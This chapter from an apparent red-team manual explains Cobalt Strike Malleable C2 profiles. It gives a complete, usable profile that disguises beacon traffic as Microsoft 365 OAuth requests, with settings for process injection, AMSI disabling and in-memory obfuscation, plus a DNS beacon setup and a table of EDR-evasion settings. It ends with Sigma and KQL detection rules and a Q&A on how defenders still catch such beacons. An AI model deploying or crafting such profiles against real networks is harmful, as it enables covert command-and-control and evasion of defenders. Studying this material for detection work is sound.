Chapter 159

Malleable C2 Profiles

Malleable C2 is Cobalt Strike's configuration language for reshaping every aspect of beacon network traffic: HTTP headers, URIs, cookies, data transforms, jitter, process injection behavior, and post-exploitation spawning. A well-crafted profile makes beacon traffic indistinguishable from a known legitimate application. This chapter covers profile anatomy, a full O365-mimicry HTTPS profile, a DNS beacon profile, and the settings that most directly affect detection.

Scenario

Network inspection at the target logs all HTTP/HTTPS URIs, host headers, and user-agents. The default Cobalt Strike profile uses /submit.php and Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1) — both flagged immediately by the existing Suricata rules. You need a profile that produces beacon traffic that exactly matches the observed pattern of the target's own Microsoft 365 clients making authentication and telemetry requests.

What a Malleable Profile Controls

Malleable C2 configuration areas: ┌─ Global ──────────────────────────────────────────────────────────┐ │ sleep time, jitter, useragent, data_jitter │ │ pipename, pipename_stager (SMB beacon) │ │ spawn64 / spawn32 — default post-ex host process │ └───────────────────────────────────────────────────────────────────┘ ┌─ http-get / http-post ────────────────────────────────────────────┐ │ uri — what URL beacon GETs / POSTs to │ │ verb — GET or POST │ │ header — arbitrary HTTP headers to include │ │ client { parameter, header, cookie, metadata } │ │ server { header, output } │ │ Transforms: base64, base64url, netbios, mask, prepend, append │ └───────────────────────────────────────────────────────────────────┘ ┌─ https-certificate ────────────────────────────────────────────────┐ │ CN, O, OU, C — controls self-signed cert fields │ │ Or: keystore + password for real cert import │ └───────────────────────────────────────────────────────────────────┘ ┌─ process-inject ────────────────────────────────────────────────── ┐ │ startrwx — allocate RWX initially (noisy) vs false = RW then RX │ │ userwx — keep RWX after writing (noisy) vs false = RX only │ │ allocator — HeapAlloc vs NtMapViewOfSection (default VirtualAlloc)│ │ execute — ordered list of injection triggers to try │ └───────────────────────────────────────────────────────────────────┘ ┌─ post-ex ───────────────────────────────────────────────────────── ┐ │ spawnto_x64 / spawnto_x86 — default sacrifice process │ │ obfuscate — heap obfuscation while sleeping │ │ smartinject — use module stomping vs private alloc │ └───────────────────────────────────────────────────────────────────┘

Profile Anatomy — Key DSL Constructs

# Malleable profile syntax overview

set sleeptime "60000";          # 60 seconds between checkins
set jitter     "25";            # ±25% jitter on sleep
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "64";           # pad responses with up to 64 random bytes

# http-get: beacon checks in (no task = empty 200)
http-get {
    set uri "/MicrosoftAjax.ashx?v=1";
    client {
        header "Accept" "*/*";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Cache-Control" "no-cache";
        metadata {
            base64url;                  # transform beacon metadata
            prepend "OIDC=";          # looks like an OIDC token cookie
            header "Cookie";          # place result in Cookie header
        }
    }
    server {
        header "Content-Type" "application/javascript";
        header "X-Content-Type-Options" "nosniff";
        output {
            mask;
            base64url;
            prepend "var _cache = '";
            append "';";
            print;
        }
    }
}

# http-post: beacon sends task results back
http-post {
    set uri "/MicrosoftAjax.ashx?v=2";
    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        id {
            base64url;
            parameter "__RequestVerificationToken"; # CSRF token lookalike
        }
        output {
            base64url;
            parameter "data";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output { print; }
    }
}

Full HTTPS Profile: O365 Mimicry

# Full O365-style Cobalt Strike profile
# Mimics Microsoft 365 authentication polling traffic

set sleeptime  "45000";
set jitter     "30";
set maxdns     "255";
set data_jitter "50";
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0";

# Real cert — import from Let's Encrypt for your redir domain
https-certificate {
    set keystore "/opt/c2/redir.yourdomain.com.store";
    set password "changeme";
}

http-get {
    set uri "/common/oauth2/v2.0/token /login/microsoft.com/insecure /msal/token";  # pick randomly
    client {
        header "Accept"          "application/json, text/plain, */*";
        header "Accept-Encoding"  "gzip, deflate, br";
        header "Accept-Language"  "en-US,en;q=0.9";
        header "Origin"           "https://login.microsoftonline.com";
        header "Referer"          "https://login.microsoftonline.com/";
        header "Sec-Fetch-Site"   "same-site";
        header "Sec-Fetch-Mode"   "cors";
        header "Sec-Fetch-Dest"   "empty";
        metadata {
            base64;
            prepend "client_assertion=";
            append "&grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer";
            uri-append;         # appended as query string to the URI
        }
    }
    server {
        header "Content-Type"    "application/json; charset=utf-8";
        header "Cache-Control"   "no-store, no-cache";
        header "X-Content-Type-Options" "nosniff";
        output {
            mask;
            base64;
            prepend "{\"token_type\":\"Bearer\",\"access_token\":\"";
            append  "\",\"expires_in\":3600}";
            print;
        }
    }
}

http-post {
    set uri "/common/oauth2/v2.0/token";
    set verb "POST";
    client {
        header "Content-Type"    "application/x-www-form-urlencoded";
        header "Origin"          "https://login.microsoftonline.com";
        id {
            base64;
            prepend "client_id=";
            append  "&";
            print;
        }
        output {
            base64;
            prepend "grant_type=authorization_code&code=";
            print;
        }
    }
    server {
        header "Content-Type"    "application/json";
        output { print; }
    }
}

stage {
    set userwx         "false";   # RX only after writing — no RWX regions
    set obfuscate      "true";    # obfuscate beacon in-memory while sleeping
    set cleanup        "true";    # clean up DLL reflective loader after injection
    set stomppe        "true";    # change PE headers in memory to look like different binary
    set smartinject    "true";    # module stomping: place beacon inside existing DLL mapping
}

process-inject {
    set startrwx "false";
    set userwx   "false";
    set allocator "NtMapViewOfSection";  # avoids VirtualAllocEx in remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";   # indirect thread
        NtQueueApcThread-s;                          # special APC: self-injection
        CreateRemoteThread;                          # fallback
        RtlCreateUserThread;
    }
}

post-ex {
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe -u -p 1234 -s 60";
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe -u -p 1234 -s 60";
    set obfuscate   "true";
    set smartinject "true";
    set amsi_disable "true";
}

DNS Beacon Profile

# DNS beacon: C2 over DNS TXT/A records — useful when HTTP/HTTPS egress is blocked

dns-beacon {
    set dns_idle      "8.8.4.4";      # "no task" response IP (use a legitimate resolver)
    set dns_sleep     "0";
    set dns_ttl       "0";             # 0 = force resolver to re-query every time
    set maxdns        "255";           # max subdomain length for encoded data
    set dns_stager_prepend "_sub.";  # subdomain prefix for stager stage requests
    set dns_stager_subhost ".stage"; # subdomain for staging channel

    # All DNS beacon queries will look like:
    # <encoded-data>.c2.yourdomain.com (A record — checkin)
    # <encoded-data>.c2.yourdomain.com (TXT record — task response)
}

# NS record setup required:
#   c2.yourdomain.com.  IN  NS  ns1.teamserver-domain.com.
# Teamserver handles DNS queries for the c2 subdomain directly.
# Ensure teamserver port 53 UDP/TCP is open to internet.

# Operational characteristics:
# - Very slow (2-4KB/s typical) — large downloads impractical
# - High latency (DNS round-trips, TTL caching)
# - Egress: TCP/UDP 53 allowed at most firewalls
# - Detection: unusual subdomain patterns, high DNS query rate to unknown NS

OPSEC-Critical Malleable Profile Settings

SettingSafe valueDangerous defaultWhy it matters
stage.userwxfalse (RX only)true (RWX)RWX private memory is the #1 EDR memory scan target
stage.obfuscatetruefalseBeacon headers visible in memory scans if false
stage.stomppetruefalseOverwrites beacon PE headers — defeats YARA header scans
post-ex.spawnto_x64WerFault.exe / RuntimeBroker.exerundll32.exeDefault rundll32 spawning is a well-known IOC
process-inject.allocatorNtMapViewOfSectionVirtualAllocExSection-backed injection avoids WPM cross-process write
post-ex.amsi_disabletruefalseAMSI fires on post-ex assemblies (execute-assembly)
sleeptime45000–120000 ms60000 ms exactlyExact 60s interval is a well-known Cobalt Strike IOC
dns_idleLegitimate resolver IP0.0.0.00.0.0.0 response fingerprints DNS beacon immediately

Detection Engineering

title: Cobalt Strike Default Profile URIs
logsource:
  product: windows
  category: proxy
detection:
  selection:
    cs-uri-stem|contains:
      - '/submit.php'
      - '/ca'
      - '/__utm.gif'
      - '/cx'
  cs-user-agent|contains:
    - 'MSIE 9.0; Windows NT 6.1'
    - 'MSIE 7.0; Windows NT 5.1'
  condition: selection
level: critical
tags: [attack.command_and_control, T1071.001]

title: DNS Beacon — High-Rate Subdomain Queries to Single Nameserver
logsource:
  product: zeek
  service: dns
detection:
  selection:
    qtype_name: 'A'
  timeframe: 1m
  condition: selection | count(query) by id.orig_h, answers > 30
level: medium

-- MDE KQL: detect WerFault spawned without a real crash report (CS spawnto IOC)
DeviceProcessEvents
| where FileName =~ "WerFault.exe"
| where ProcessCommandLine !has "-u -p"  // legitimate crash reports include -u -p PID
    or ProcessCommandLine has "-p 1234"  // hardcoded PID from CS default template
| where InitiatingProcessFileName !in~ ("svchost.exe", "WerSvc.dll")
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName

Q&A

If malleable C2 can make beacon traffic look like any legitimate application, why is it still detected by mature SOCs?

A malleable profile controls the shape of network traffic but not the behavioral context around it. Mature SOC detection pivots to three dimensions that a profile cannot fake.

First, TLS certificate analysis. Even if a profile mimics O365 headers perfectly, the TLS certificate on the redirector will not match Microsoft's certificate. Modern enterprise proxies with TLS inspection see the real cert and compare CN, issuer chain, and pinned public key against expected values. A Let's Encrypt cert for login-microsoftonline.com.redir.example.com triggers category mismatch. Defenders specifically hunt for: certificates where the Subject CN contains Microsoft product names but the certificate is not signed by Microsoft's PKI or a major commercial CA.

Second, behavioral regularity vs. human browsing patterns. A malleable profile that mimics O365 authentication requests will still produce traffic every 45–60 seconds from a process like svchost.exe — not from a browser, not triggered by user clicks, not accompanied by correlated DNS lookups for related hostnames (outlook.office365.com, graph.microsoft.com), not using the browser's cookie store. A SOC analyst examining the full network context sees a single process making identical authentication-shaped requests like clockwork to one IP, with no associated mail or file access activity. Real O365 authentication is bursty, correlated with Outlook opens, and accompanied by dozens of other Microsoft endpoints.

Third, memory forensics and EDR telemetry. Even with stage.obfuscate true and stomppe true, the beacon DLL must eventually be RX-mapped in a process. EDRs that perform periodic memory scanning (not just at allocation time) will eventually encounter the beacon's in-memory beacon signature — especially post-ex artifacts in sacrificial processes. The post-ex.spawnto setting matters here: if WerFault.exe consistently spawns network connections immediately after being launched with non-standard arguments, the correlation is flagged even if the individual events are not individually suspicious.